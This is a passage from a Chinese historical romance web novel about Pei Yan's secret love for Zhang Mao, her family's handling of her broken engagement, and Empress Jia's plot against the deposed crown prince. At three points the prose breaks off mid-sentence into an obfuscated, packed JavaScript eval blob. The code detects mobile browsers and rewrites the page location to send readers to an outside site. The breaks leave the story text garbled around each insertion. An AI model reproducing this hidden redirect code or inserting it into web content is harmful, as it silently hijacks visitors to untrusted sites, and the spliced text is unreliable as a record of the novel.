原来,那夜皇帝看了太子的手书后,气急要杀太子。群臣被帝后的煞气所摄,无人敢劝谏。 还是司空张华小心翼翼地道:“自古贸然废杀太子皆会引天下大乱,如今太子虽酒后失德,但罪不至死,请陛下三思。” 裴頠看着手书,亦劝道:“这上面字迹太乱,不似太子平日所书,还是核对清楚才好。” 然而东宫呈上的太子手迹皆为太子清醒时所作,与醉时所写本就有出入,一时间,谁都不敢下定论。 眼看着天就要亮了,召来的臣工依然没有讨论出结果来。 贾后于是示意身后的宫女递来一封奏疏,竟是皇帝的胞姐长广公主所书,上面写道:“此事宜速决,群臣若有反对,军法处置。” 这语气,这口吻,哪里是一个嫁出去的公主说得的? 殿里的重臣都是老了成精的,这一听就是贾后的口谕啊! 一时间,众人皆住了嘴,纷纷拿眼看向贾后。 贾后见贸然杀太子,会引得群臣不满,只好退而求其次,“劝说”皇帝:“太子年幼,受身边奸人所惑,犯下大错。然而父子人伦,岂能说杀就杀?陛下何妨先褫夺他的储君之位,再贬到金庸城里静思己过,以观后效?” 皇帝素来信重皇后,冷静下来后,也觉得这主意不错。 太子这么荒唐,是不能再继续当储君了,但是他毕竟是自己儿子,杀了又于心不忍。出去金墉城里关着,收收性子也好。 于是,太子被废的事,就这么定了下来。 “竟是如此,我错怪世叔了!”王承之前不知内情,听裴妡所言,才知里面有那么多曲折。 “哼,错怪?你当我阿耶是什么?裴家又是什么?”裴妡这次真的生气了。 她虽是女儿身,但父亲裴頠一直没有看轻过他。守孝这些年,她每每去书房,父亲从来都是将她与哥哥们一处说道,朝廷的事也从未避过她。 钜鹿郡公府的这两个女郎,裴妍像闲云野鹤的女道,而裴妡则像着了女装的儿郎。姊妹俩忙的全然不是一回事。 王承在屋里忙不迭地道歉,裴妍在门外亦听得心惊胆战。 她这才知道短短两天里,宫中居然发生了这么多翻天覆地的大事! 她不想打扰这对未婚夫妇,便对裴妡的丫鬟做了噤声的动作,自己默默退了出去。 裴妍沿着花红柳绿的小道,不自觉地踱到了母亲的院子前。 自开春以来,小郭氏的咳疾便好了些,但春天正是乍暖还寒时候,头风症却总不见好。 这几日,小郭氏除了偶尔出来看看女儿和孙子外,其他时候一直头戴抹额,躲在内室温养。 裴妍进屋的时候,嫂嫂柳氏正坐在床边侍疾,看到小姑子来了,让位与她道:“你来得正巧,替我守着些,我去后厨看糕点,阿母这里不能离人。”言罢便端了药碗出去了。 屋里只余母女俩。 裴妍把小郭夫人身后的隐囊垫得高些,方便她斜坐在榻上。 小郭氏今日精气神好了很多,外面的事情柳氏也与她分说了些。小郭氏虽对朝事不敏,但对贾后这位表姊的性情却知道一二。 她拍了拍女儿的手,道:“娘娘行事素来狠绝,太子此番怕是活不成了。当初你二叔要你进东宫,还好你大母没听他的。否则,我这如花似玉的女儿,岂不是要像那王家二娘般,和离而终?” 二叔曾要她嫁给太子?裴妍睁大眼睛,很是震惊,什么时候的事?她怎么不知道?算算年纪,太子选妃时,她才多大?九岁?十岁? “我现在就盼着,你明年出孝后,早点嫁到东海王府。有你姑姑罩着你,我就放心了!” 唉? 裴妍急了。 她不想嫁给太子,可也不想嫁给司马毗! 忆起前几日与司马毗分别时,他看自己的眼神,裴妍心头一凛,他怕是已察觉了什么。那姑姑,是不是也知道了?姑姑知道了,阿母还会远吗? 她心头一凛,这种事,与其让阿母从别人那里听到,还不如自己说出来,或许还有转圜的余地! “阿母……,其实,女儿心里,另有他人!” 择日不如撞日,裴妍心虚之下,居然把心一横,将这几年不敢宣之于口的秘密和盘托出! 初春气候多变,早晌还晴空万里,午晌便突然飘起雨花来。尽管有屋檐遮挡,木制的回廊上依然蒙了一层水汽。 婢子们赶紧放下廊上两侧的竹帘,防止雨水打湿贵人的衣衫。 于是跪在回廊上的裴妍顿觉天光更暗了,她揉揉发酸的膝盖,容秋下意识地要去扶她,却被她倔强地推走,摇头道:“阿母还没让我起来呢!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005128|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 内室里,定春担忧地看向槅窗外的主仆,给主母梳头的手顿了顿。她有心为裴妍说几句好话,可是想到自己和妹妹也是张茂送进裴府的,身份不免尴尬。 她看了眼外头廊下和元娘一起跪着的妹妹,心里既担忧又羡慕。 她和容秋是一母同胞的姊妹。她父亲、外祖都是张家的部曲,母亲也会些拳脚。她们姊妹在很小的时候,就被母亲带着练拳。稍大些,父亲见她们筋骨不错,便亲自教她们功夫。 本以为她们会像自己的母亲那样,及笄后嫁给家里的年轻部曲,结果二郎君突然满府征集会拳脚的婢子。她和阿妹便被家老带去了二郎面前。 那时,她别提多高兴了!二郎丰神俊朗,她向来只敢远远看着,没想到一朝能入他的法眼,为他效力。 然而二郎君没有多看她们,转手便将她们送来了钜鹿郡公府。 自己年长些,便留在郭夫人身边,妹妹年幼些,被送给了裴府元娘。 郭夫人待人和气,并不苛刻。然而比起在元娘身边的妹妹,到底还是拘束了些。 何况,二郎与元娘走得近,妹妹能时常见到二郎。而自己,却没这个福气。 她还在走神,却听小郭氏突然道:“让她滚回自己屋里去,在我这施什么苦肉计!” 小郭氏得知裴妍与张茂的私情后,一口气差点上不来,难得对自来娇惯的女儿疾言厉色:“谁许你自作主张,瞒着我们,与外男私定终生?你把裴家还有东海王府置于何地?你把我,还有你姑姑,置于何地!” 裴妍忙道:“正是深觉对不住家里和东海王,女儿才迟迟未敢与阿母和姑姑禀明实情。此事既然因我而起,自是由我去与姑姑说,绝不让母亲难做!” 小郭氏气急:“不让我难做?你不顾婚约,与外男有私情,难道我这个当母亲的能逃得了干系?” 她指着廊外天空:“你自小没有阿耶护持,可府里府外,谁敢慢待你?你以为光凭你姓裴,别人就得敬着你?还是我这个郭家的庶女,在京里能有几分薄面?或是你那处处只会明哲保身的阿叔对你能有多疼爱?错了,是你裴姑姑顾念旧情,自小把你往府里接,明里暗里告诉世人,这是我东海王府内定的新妇。否则,就你那憨傻无能的哥哥和你这不着四六的蠢样,能过得这么体面?” 小郭氏第一次对女儿说这么重的话,裴妍的眼眶腾地红了,她不敢回嘴,只能委屈地描补:“女儿自知对不起姑姑,对不起世子,女儿一定想办法补偿他们。” “补偿?”小郭氏怒极反笑,差点一口老血喷出来,难免口不择言道,“你拿什么补偿?” 她颤着手指着女儿:“你浑身上下,除了这身皮囊,还有什么拿的出手?” 这话让裴妍心神备受打击,她眼尾通红地看向母亲,又气又愧。她知道自己与兄长自小不如二房家的孩子机敏。但她从来没听过母亲这样赤裸裸的苛责。 以往小郭氏对他们多以鼓励为主,毕竟做学问也好,待人接物也罢,除了勤奋努力,还要天赋。 裴憬也好,裴妍也罢,自小憨顽,小郭氏督促无果后,也就看开了——只要人平安健康就好,至于才学和贤名,不过是身外之物罢了。家里即便不如长房得势,但大树底下好乘凉,有河东裴氏和钜鹿郡公罩着,儿子和女儿还是能顺遂一生的。 然而看开归看开,小郭氏心里到底还是压着一股气的。原本以为女儿虽学问、才情皆不如二房的裴妡,但至少夫婿比她的强,要知道宗室多纨绔,如司马毗这般既有王位又文武全才的可不多。 谁想,裴妍居然放着诸侯世子不要,跟一个清客出身的武将厮混在一处。关键这清客还是自己招来的! 小郭氏恨不能扇自己一巴掌,这么些年的痛苦压抑,终于在今朝爆发出来。 她指着房门,目眦欲裂,哑着嗓子对女儿道:“滚出去,我不想见到你!” 裴妍还想说什么,却见母亲身边的定春对自己做了个噤声的动作。她知道定春是在提醒自己少说两句,只好失魂落魄地出了门,却因为担忧母亲,说什么都不肯离开,而是直直跪在了廊下,希望求得母亲的原谅。 52. 花明月暗风骤起,冷风苦雨私情露…… 二房训女的事,很快就在府里传了开来。裴憬知道后,很是担忧:“早晌给阿母请安时还一切如常。阿妹这是犯了什么大错,竟惹母亲这般生气?” 柳氏心道:“看来阿妹与张二郎的事终归让阿家知道了。” 裴憬显然对此一无所知,还嚷着要去劝和。 柳氏想了想,小姑子待自己不错,张二郎又是夫君的知交,他二人的事,还是通传夫君一声为好,便道:“怕是与元娘婚事有关。” 裴憬更加懵懂:“难道阿妍和阿毗闹矛盾了?” 柳蕙无奈,只好屏退婢子,小声与丈夫道:“夫君,妾从阿娴处听来一些传闻……” 至于二房那里,王夫人对长房的事情素来抓大放小。妯娌难为,不管二房母女因何生了嫌隙,她这个当婶娘的,还是少掺和的好。 因此,并未多问。 反倒是裴妡一下子猜明了原委。听说裴妍已经跪了半晌,她立刻召来仆妇,命她们往张茂府上送个信——一个巴掌拍不响,有错也是两个人的错。既是张茂勾得她家阿姊,自然应该连着张茂一起罚,凭何让她阿姊一人承担? 那厢里,张茂接了信,不顾大哥和一众幕僚在场,直推了手上庶务,简略和张寔说了下原委,便急匆匆地往钜鹿郡公府赶。 待他入门时,天光已然散尽。 张茂并未直接求见小郭氏,而是携父亲的一封手书先行拜见了钜鹿郡公府的当家人裴頠。 天色阴暗,廊外雨声渐歇。 晚风混着潮气,朝裴妍袭来。 压帘用的玉琮被风吹得叮当作响。裴妍身上虽披着大氅,但架不住裙底潮湿,凉意自小腿一路往上。长久的跪折使她的脚底已经失去知觉,这种麻木比寒凉更让人痛苦。 突然,她的手心被另一张温暖的大手裹住——旁边突然多了一个人。 她转头看去,竟是张茂!就见他直直地跪在自己身边,温和有力的手覆上她的,莞尔道:“阿妍,我来陪你了!” 他今日一身玄色箭袖劲装,头梳歇髻,插木簪,未戴冠,一副轻便的武人装束。裴妍记得,以往他来家里都是做儒生打扮的,显然今日是着急来这里,连更衣都未来得及。 裴妍皱眉,谨慎地看了眼母亲关着的房门,小声叱他:“你怎么来了?快回去,不然我阿母要连你一起骂了。” 张茂牵着她的一只手,笑道:“正好,刚刚郡公也才骂过我。” “什么!”裴妍惊得差点跪不住,还好张茂扶住了她。 裴妍拽着他的肩膀,不可置信地问:“你寻过我二叔了?全告诉他了?” 张茂含笑点头。 “他同意我们在一起?” “没同意。不过也没反对。离你脱孝还有一年,我恳请他给我入局的机会,他应了。” “怎么会?”裴妍不可思议道。她原以为叔父会一口回绝的。 张茂浅笑:“他不仅是你叔父,还是钜鹿郡公府的掌舵人。裴家和张家,刨除感情,还有利弊。” 裴妍半懂不懂,他俩的事,还谈得上利弊? 书房,裴頠冷脸坐在上首。 张茂来求见自己时,裴頠还有些诧异。张茂素来是个知进退的孩子,怎么会一个招呼都不打,大晚上的突然要见自己? 彼时,长房训女的消息,还没来得及传到前院。待看到张茂一脸郑重地朝自己行大礼,饶是两朝元老的裴頠也紧张起来。 他第一反应是朝里或者凉州出了了不得的大事。然而究竟是什么大事,居然连他这个钜鹿郡公都没收到信,还要张茂特意来通传? “郡公容禀,茂心悦元娘……” 原是小儿女之间的情事!裴頠只觉心放下去的同时,又惊怒起来,好你个张二郎,我当初好心收留你,助你家度过难关,你却来勾引我侄女,你张家就是这么回报恩人的? 然而当张茂呈上张轨的亲笔书信,并承诺:“钜鹿郡公但有差遣,安定张氏必效犬马”时,裴頠惊怒的心渐渐又平复下来…… 张茂走后不久,裴憬和裴妡便先后赶到了。 二人都是为裴妍的婚事请见裴頠。 裴憬期期艾艾地为张茂说项:“二郎虽曾是我们府里清客,然而英雄不问出处,如今张家独掌凉州,说一句封疆大吏也不为过。元娘与阿茂又情投意合,嫁去张家不比嫁到东海王府差。” 这些话是柳氏教的,裴憬觉得很有道理。 一旁的裴妡却不同意:“太子被废,各路宗室蠢蠢欲动,东海王素有贤名,来日位极人臣也未可知。我们对张家有恩在先,即便与他家儿女亲事不成,他们也不敢对我们心存怨怼。而我们与东海王府早有婚约,贸然毁约,必遭东海王嫉恨,于阿耶不利,于阿姊和咱家的名声也会有损。” 按说,裴妍的婚事还轮不到他们这些小辈说话。只是这二人也是裴妍最亲近的同辈,裴頠很想听听他们的意见。不想,这二人的想法竟是南辕北辙。 “阿妍对东海王世子只有兄妹之情,你让她嫁给自己的兄长,岂非痛苦?” “呵,我记得当年阿姊和张二郎在府里,也是以兄妹相称的。” “你!”裴憬一时词穷,在这个博学多才又伶牙俐齿的堂妹面前,他素来插不上话。 裴頠越听头越大。 若裴妍是自己的女儿还好说,如何定夺全凭他一口决断。偏偏阿妍是大哥的遗腹子,自己又因袭爵一事愧对长房。这个婚事到底怎么办,是宗室东海王,还是新贵凉州刺史?他既要兼顾家门利益,又要考虑长房的感受,本就难做。更要命的是,刚听内院的婢子来报,元娘在廊下罚跪。可见,连大嫂和侄女的意见都还不统一,自己究竟该选哪一边? 弄不好,结亲不成,自己反做了仇人。 这时,家老来禀了两件事。一,张司空递来拜帖,明日到访。二,大夫人让张茂进屋说话。 裴頠点头,两件事其实是一件事。 张茂给他看过其父的书信,他父亲将小儿子的婚事全权托付给了故交司空张华。 张司空这个时候要见自己,多半是给张家做说客的。 至于小郭氏,裴頠长叹,看来大嫂到底还是心软了,也罢,且看大嫂如何选吧。 于是张茂和裴妍终于从门外的廊下,跪到了内室。 小郭氏瞄到二人交握的手,更觉气不打一处来。 她强捺住怒火,冷声对张茂道:“张将军大可不必跪我这区区亭侯之母。” 小郭氏的丈夫是先钜鹿郡公世子,只是丈夫过世后,便由二房的裴頠承爵,但是她的诰命还在,依然当得“夫人”之称。 她这么说,只是故意刁难张茂罢了。 张茂不卑不亢地朝郭夫人拱手:“无论茂是当初的亭侯伴当,还是如今的四品裨将,在茂心中,夫人都是茂的主母。”将来还会是岳母。 “哼!”巧舌如簧,小郭氏扭过头去,阿妍就是被这张嘴给骗的。 “夫人,茂自知出身鄙陋,不敢与东海王世子比肩。但茂爱慕元娘之心,天地可鉴。茂若得元娘,必珍之重之,敬之爱之。此生不纳妾,不蓄婢,若有违背,人神共戮。” 兵贵神速,打蛇七寸,张茂不喜拖泥带水。不纳妾,不蓄婢,光这六字有几个世家儿郎可以做到?就是小郭氏的先夫,裴妍的亲父,病秧子一个,尚且还有两个通房。其中一个还生下了庶子裴憬。 小郭氏果然转身,却一脸的不可置信:“张郎君莫戏言。” 张茂看了眼身边的裴妍,对郭夫人郑重地道:“茂既以身家性命起誓,岂敢玩笑!” 听到这,小郭氏难免有些动容。她家女儿貌美,倒不怕夫君不宠爱。但若让女婿只守着她女儿一人,这却是不敢想的。 女人总有年老色衰的时候,男人么,哪还能抱着一个过?其他不说,自己那死鬼夫君,病恹恹了半辈子,不照样生出个庶长子来? 司马毗是她看着长大的,人品家世样样出挑,即便如此,据说他房里也有两三个伺候床帏的侍妾呢。 然而,男人的嘴,世上的鬼。 “若我家阿妍子嗣不丰呢?”小郭氏呷了口茶,冷静分析道,“无后为大。你阿耶阿母会容你这般胡闹?” 张茂莞尔:“茂之长兄,早已育有子女。况张家武将起家,族中失怙者颇多。若茂命中无子,自当从族亲中选幼子过继,断不会以庶充嫡。这在我家早有先例。” 小郭氏依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011833|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然心有疑虑:“还有这说法?你倒是信誓旦旦。可你这小儿说的话能有几分效力?婚姻乃结两姓之好,素来父母之命,你要求娶阿妍,还此生只她一人,焉知你父母如何想的?退一万步说,即便要议婚,也当是你阿耶阿母前来,怎么也轮不到你在这胡言乱语。” 这是问他家里的意思了。 张茂早有准备,立刻膝行一步,从袖囊中取出一封书信,双手举过头顶递与郭夫人道:“此为阿耶亲笔书信,求与钜鹿郡公府元娘成秦晋之好。” 这信的火漆打开过,显然之前也呈给别人看过,不消问,定是家主裴頠看的。 小郭氏只觉进退两难。 司马毗和张茂皆是好儿郎,她若允了裴妃,就是负了女儿。若允了女儿,就是负了裴妃。 裴妃这些年待她们娘俩不薄,可这张茂对女儿也确是上心——真是怎么选都是错的。 “哦?郎主怎么说?”他不是刚从裴頠那出来么?小郭氏虽对这位小叔子敬而远之,但大事上,还是想听听他的意见。 张茂赶紧道:“郡公言元娘孝期还有一年,且待明年脱孝后再论。” 拖而不决,等于没说,老狐狸,小郭氏暗骂。 “阿母,女儿倾心张二郎,求阿母成全!”裴妍趁机求情。 “不是我不想依你,只是你与东海王世子有婚约在前,如今世子无错,你却情移张二郎,传将出去,毁的是三家人的脸面。” “女儿并未情移,女儿一开始就中意的是茂郞啊!”裴妍为自己叫屈。 还敢顶嘴!小郭氏急得拍桌子:“我晓得,别人不晓得啊!人家只看到钜鹿郡公府的元娘不安于室,与家中清客暗通款曲!整个河东裴氏的女郎都要因你清名受损!” “何至于此,贾家表姨当年不也……” 张茂赶紧止住裴妍。 贾午当年与韩寿窃玉偷香,早就成了京里众人茶余饭后的谈资,只是她有个厉害的皇后姐姐,没人敢当着她的面说罢了。 “贾午有个做娘娘的亲姊,你有吗?”小郭氏只觉心口疼,自己怎么生出这么个夯货。 裴妍瞬间词穷。 郭夫人扶额,叹道:“当年你阿叔要送你去东宫,我人微言轻,说话不顶事。是你姑姑,到老夫人那里据理力争,这才保下了你。世人皆知你阿耶对你姑姑有救命之恩,却不知她这些年庇护我们母女甚多,你阿耶的那点恩情,人家早还清了!如今,你又要跟人家儿子悔婚,我是真不知,怎么向你姑姑开这个口!” “姑姑那里,女儿去请罪。”裴妍想着一人做事一人当,既是她惹下的祸,自当她去承担。 小郭氏无语。请罪?你拿什么请?世上最难还的便是人情债! 张茂赶紧抱拳:“茂虽不才,东海王府若有所求,茂甘效犬马之劳。”裴妍欠东海王府的,他来还。本来大家同朝为官,有利益往来也是寻常。 近日张家风头正劲,小郭氏对这位新鲜出炉的凉州刺史之子也不得不给几分面子,连带着对裴妍的语气也软和了一些:“近日多事之秋,你姑姑且顾不上你。如你阿叔所言,左右你还有一年的孝,这事急不得,待我与你叔父好好商议再说。” 小郭氏这话虽模棱两可,但裴妍也好,张茂也罢,都听出了深意,她这是松口了啊! 张茂连忙朝郭夫人拱手答谢。 小郭氏却还有下文,止住他道:“我有话要与你说。”继而眼神示意裴妍出去。 裴妍不肯,脚步往后小小地挪了挪,又停住了——她怕母亲为难张茂。 张茂却跟着劝她:“元娘且先出去吧。我也有话想同夫人讲。” 裴妍只好忐忑地出了门,却也不走远,只趴在门边探听消息。 容秋本想上前劝她去给膝盖上药,却被她做了个噤声的动作。 内室里只余小郭氏和张茂二人。 一瞬间,四围突然静下来,屋里尤甚。 小郭氏也不急着说话,只细细地打量张茂——从侧面看去,眼前的年轻人鹤骨松姿,俊逸出尘,不得不承认,这个张二郎确实好相貌。与女儿在一起,很是登对。 张茂见郭夫人不说话,只专注地看着自己,便恭敬地任她打量。 53. 乌糟糟东宫丧命,乱纷纷凉州生变…… 良久,郭夫人长叹一声。她伸出手,示意张茂走近些。 张茂忐忑地上前两步,就听她缓缓道:“我女儿,自小过得稀里糊涂,也没有她堂妹那样的才识远见。除了一张脸能看,实在没什么能拿得出手的。你若是贪图她的美貌,不过几年,就厌了倦了。你若是看上她的家世,她父亲早逝,兄长无能,叔父毕竟隔着一层,除了一个河东裴氏的虚名,余下什么也没有。二郎,我实在搞不懂,以你张家今时今日的地位,找一个待字闺中的高门贵女不难。为何非得是我女儿,你看上她什么?” 张茂没想到在自己心中犹如神女一般的阿妍在郭夫人眼里竟是个一无是处的绣花枕头!他心里很为裴妍鸣不平,但面对长辈,依然耐着性子解释:“夫人容禀,茂所求非定国安邦之谋士,而是能知我信我懂我爱我之妻子。阿妍自茂微时便对茂青眼有加。这些年茂宦海沉浮,张家几经跌宕,阿妍都不离不弃,鼎力支持。如此深情,茂岂敢辜负?” 听着倒是有情有义,小郭氏点头,夫妻贵在相知相守,张茂若真能这么想,她也算放下一半的心来。只是,她身子朝前微探:“婚姻大事,张刺史未免托大了些。” 这是对张轨未能亲自登门不满。 张茂连忙解释:“家父因伤不能挪动,未能亲来府上陈情,只好托付张司空代为转圜,想来郡公那里已经收到司空府拜帖。” 哦?竟劳动张司空作保? 小郭氏松下一口气来,笑道:“你今日冒失前来,还当你儿戏。原是张刺史早有安排。” 张轨能请动张华作保,甚至不惜得罪东海王府,说明张家很看重这段姻缘。 “只是”小郭氏突然顿了顿:“还有一事要劳烦你。” 张茂放下的心重又提了起来,嘴上连呼不敢。 “听闻你与挚神仙交好?当年我携阿憬与阿妍去求见皇甫神医,因不知神仙就在神医处,到底缘悭一面。不知你可否代我引荐?” 张茂挑眉,他算是知道裴妍对神仙的执念来于何处了。 他一本正经地对郭夫人承诺道:“夫人所求,敢不遵从?挚师叔近日就在京中,夫人何时有空,茂陪夫人前去。” “哦?后日可得空?”小郭氏眼睛一亮。 近来局势纷乱,小郭氏在内室听得不少。她时感忧惧惶惑,又恐长房无人支撑,若能得仙人指点,自己和女儿必能安心不少。 张茂心里盘算着,夜里得去给师叔透个气。挚虞师叔推算时局很有一手,但说他是神仙,张茂摸摸鼻子,自家人知自家事,玩笑呢! 于是张茂前脚辞了裴妍母女,后脚就趁着夜色匆匆去寻挚虞。 恰巧他哥也在这里,张寔袖着手笑他:“难为你几头跑,幸好你的求救信阿耶及时收到,还派专人专马给你回信,又请张司空给你兜底,不然看你怎么收场!” 兄长调侃的是实情,张茂摸摸鼻子,恭谦地唯唯。 自从与司马毗林场一别后,他怕王府和钜鹿郡公府的长辈联手阻他。他身后若无家族护持,很难打动裴頠与小郭氏。便当即修书一封,八百里加急送往凉州,请他阿耶转圜。 他阿耶何许人也?小儿女的这点情事不过露了个端倪,就被他摸得透透的。 张轨虽不愿得罪东海王,但张茂自小清虚守静,难得朝他这个父亲开口求助,他委实不忍拒绝。何况如今他兵权在握,替小儿子抢女人,还是河东裴氏这样的高门贵女,他还是乐意玉成的。 至于东海王,得罪了也就得罪了,左不过一个帝室疏族,封地又远在青州,与他们张家风马牛不相及。如今的张家凉州大马无数,还真看不上东夷的那点诸侯! 挚虞拈着八字胡,叹道:“劳师动众,就为一个智识未开的女郎,这可真不似二郎平日所为。” 张茂毫不避讳:“茂非圣人,情难自已罢了。”又将郭夫人想见挚虞的事说了。 挚虞遥想当年裴元娘偷摸找自己给琅琊王算卦的事,依稀还在昨日,哭笑不得道:“真是亲母女啊!” 翌日,张司空果然来了裴府。 要说张茂和裴妍的这桩事,张司空刚收到张轨的来信时既觉得震惊又倍感荒唐。 他实在想不通,张家如今正得势,如张二郎这样的青年才俊,就是公主都能娶得。要不是他家没有适龄的女郎,他都想与张家结亲,何必非要这个订了婚的裴元娘呢? 何况,东海王再是帝室疏族,那也是宗室藩王,司马家的人出了名的睚眦必报。他实在不想沾惹这个麻烦! 然而张轨在信里言辞恳切,张茂又一副非卿不娶的破罐破摔样。安定张氏是张华一手提拔起来的。这些年,他和张轨一个在朝,一个在野,荣辱与共,休戚相关。既然张家铁了心要裴元娘,又托他居中转圜,他实在不好推拒。 还好他与裴頠共事多年,二人私交也很不错,倒是能说得上话。而且张轨素来不打无把握的仗,他既能修书一封求自己当这个中人,可见裴頠那里必也是有戏的。 “事已至此,断亲另结,难免授人以柄。茂先可有两全之法?” 看到张华拧眉苦思的模样,裴頠略微解气了些——张轨为难的不止他一个。 讲实话,相比司马毗,裴頠更看好张茂。这孩子自小在他家住了那么多年,为人品性都是极佳的。也就是出身差了些,张家起势晚了点,否则何至于那么多波折。 如今朝局不稳,京中各家都在谋求后路。张家已成边疆大吏,扼守天下战马要道凉州,与国小位卑的东海王比起来,自然是与张家结亲更得便利。 可是,裴頠拧眉,他和东海王一家私交不错,司马毗也算是他看着长大的。这孩子拿张茂比差点,但是在一众王孙里,也算人中龙凤了。他实在不愿为了那点小儿女私情,去得罪这位王爷。司马家的人,那可是出了名的睚眦必报! 唉,张二郎与东海王世子皆是年轻一辈里的翘楚,普通女郎能遇见一个,便是几世之福。偏他侄女只能嫁一个负一个,真是太可惜了! 他甚至想着,若其中一个能看上他女儿——也不行,阿妡也订亲了,准女婿还是太原王氏的麒麟子,名动天下的大名士,不比这二位差。 神思飘忽间,忽听张华沉吟一句:“若东海王自己想退亲呢?” 张华摇着鹅扇:“据闻高密王妃有意聘其族女为世子妇。裴妃不从,一怒之下携世子回京,高密王妃只得作罢。” 高密王妃是东海王的生母,出身河内杨氏,是南阳太守杨俊的孙女。这件事裴妃虽没有与裴頠提过,但裴頠姻亲众多,各地亲朋来京拜见他时,难免会带些地方上的消息。河内杨氏也是地方豪强,裴家亦有旁支与他家联姻,所以此事他略有耳闻。 他还知道,高密王妃已退而求其次,只待裴妍过门,就将自己的侄孙女引为侧妃。 原本这不算大事,一个妾室而已,他自信自家侄女这点容人之量还是有的。可是如今,他们家想与东海王家和气又不失体面的退婚,这桩事倒正好可以拿来做做文章。以子之矛攻子之盾,虽说不够磊落,但在如今情势下,这确实是不伤和气的最好办法。 他点头道:“某有一从弟,便娶的那杨氏妇,或可托其转圜。” 张华和裴頠作为叱咤朝堂的实权人物,解决这等小事有的是手段,甚至不需他们自己出面,只消对下面的人略透出点意思,自有那等伶俐人去办妥这件事。 于是裴妍担忧了几年的事,在两位大人手里,只费了半盏茶的功夫,就议定了。 比起小辈们的儿女私情,反而是如今朝堂的形势更让这二位揪心——皇后产子,太子不当其罪却被废。臣民之中众情怨恨,人心不稳。 张、裴二人虽是贾后近臣,但并不支持她废太子。退一万步讲,即便要立皇后嫡子为皇嗣,也得等小皇子长大些,能立得住以后,再废太子不迟。 “赵王不得不防。”裴頠道。对于这个半路杀出的藩王,张华与裴頠皆存防备。以往,只觉得赵王是个好大喜功的草包,如今看来,他的野心似乎越来越大。 “奈何,经太子一事,娘娘竟是信不过吾等,反而对赵王听之任之,如今城防和宫防竟全数握在他手上,梁王、齐王亦依附于他。”张华摇头。 贾后不知被赵王灌了什么迷魂汤,以往还听得进他们这些老臣的意见,如今竟是半句谏言都听不进去了。 赵王如今正得势,他们只得避其锋芒,但并非无事可做。 “许昌城里可安插人手?废太子万不可出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017454|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。”裴頠拧眉道。 太子若死了,最大的得益者不是贾后,而是藩王。 张华点头:“之前派了几个宫人过去,某亦叮嘱过太子莫要食外来之物,饮食起居能靠自己,不要假手他人。”能做的他都做了,但愿能保住太子吧! “只盼娘娘不要行蠢事。” 皇后之子尚幼,能否平安长大尚不可知。司马遹是天子唯一长成人的子嗣,只要他在,藩王便不敢明目张胆地乱来。 哪怕皇后与太子不睦,太子碍于孝道,也不得不敬着皇后。他们这些后党,也能有时间徐徐图之。 相反,若是太子死了,贾后的儿子万一没有立得住或有其他变数,则天子这脉尽断,各路诸侯为了大位,还不知要掀起多少血雨腥风呢! 而皇后,作为无子的妇人,只会成为这些诸侯上位的绊脚石。届时,别说皇后,就是他们这些后党,也都要跟着完蛋。 这么简单的道理,皇后的母亲,已故的宜城君郭槐,不知与皇后说了多少次。然而贾后早被赵王捧杀得不知天高地厚,这些年独掌大全更是让她养成了唯我独尊的性子。此时她正与赵王密谋,怎么杀太子呢! 原来赵王又在皇后面前进言,道太子整日在许昌宫中骂骂咧咧,说天子只是一时受小人蒙蔽,待想明白了,就会把他迎回宫里,复位东宫。到时,他必要找皇后对质一番。 还说太子的手下一直在四处联络沟通,想在朝会上对贾后发难,迎回太子——这也是贾后最害怕的事,打蛇不死反被咬,她怎会允许这样的事发生? 于是贾后决定一不做二不休,暗中除掉太子! 她命太医秘密制作了几颗巴豆杏子丸,预谋混在饭菜里悄默默地毒死太子!然而据许都的黄门来报,说太子自打到了许昌旧宫后,饮食便万分小心,连平时喝的茶水都是自己架炉子烧。吃食必要银针验过方才入口。 贾后不敢明目张胆地害他,一时间竟愣是找不到机会下手。 赵王在一旁怂恿道:“想要人不着痕迹的死实在太容易,比如春秋时的晋景公,如厕还能跌进粪坑哪!” 贾后眼睛一亮,朝身后的心腹宫女陈舞使了个颜色。 陈舞会意,立刻出宫布置去了。 之后数日,贾后先污蔑太子在许昌旧宫联络旧属预谋造反,不顾张华的反对,贸然命自己的亲信司马澹带一千兵众幽禁太子于许昌旧宫的一处别坊中,趁机将太子与周遭的侍婢们分隔开来。 接着贾后又命持书御史刘振断绝太子饮食。太子饿得没办法,恰此时黄门孙虑端着一盘下了毒的饭菜给他,道是天子有悔意,思念太子,特赐下饭食。 太子心中起疑,不愿吃这等来路不明的东西,便假作肚子不适,如厕去了。 孙虑却紧随其后,欲趁太子不备,推他入坑。 